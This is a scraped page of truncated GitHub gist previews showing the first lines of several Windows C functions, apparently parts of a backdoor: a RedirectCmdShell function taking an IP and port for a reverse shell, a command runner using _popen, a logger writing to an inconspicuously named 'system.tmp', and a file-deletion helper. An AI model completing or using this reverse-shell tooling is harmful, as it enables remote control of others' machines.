This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| BOOL ZapDelFile(char *szFileToDel) | |
| { | |
| char cTempFileName[MAX_PATH] = {0}; | |
| char cTempPathName[MAX_PATH] = {0}; | |
| char cFileName[MAX_PATH+1] = {0}; | |
| GetSystemDirectory(cTempPathName, MAX_PATH); | |
| strcat(cTempPathName, "\\"); | |
| if(GetTempFileName(cTempPathName, "x", 0, cTempFileName) == 0) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| void Log(const char *pszInfo, ...) | |
| { | |
| va_list args = NULL; | |
| FILE *fp = NULL; | |
| // check if the input param is valid. | |
| if (NULL == pszInfo) { | |
| return; | |
| } | |
| fp = _fsopen("system.tmp", "a+", _SH_DENYNO); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| int RedirectCmdShell(char *szIP, char *szPort) | |
| { | |
| WSADATA wsaData = {0}; | |
| SOCKET cltSock = INVALID_SOCKET; | |
| STARTUPINFO si = {0}; | |
| PROCESS_INFORMATION pi = {0}; | |
| struct sockaddr_in sa = {0}; | |
| if (NULL == szIP || NULL == szPort) { | |
| return -1; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| int ExecPipeCmd(char *szCmd) | |
| { | |
| FILE *pPipe = _popen(szCmd, "rt"); | |
| if (NULL == pPipe) { | |
| //Log("_popen functio fail.\n"); | |
| return -1; | |
| } | |
| int nRet = -1; | |
| CHAR szBuf[SOCK_BUF_SIZE] = {0}; |
NewerOlder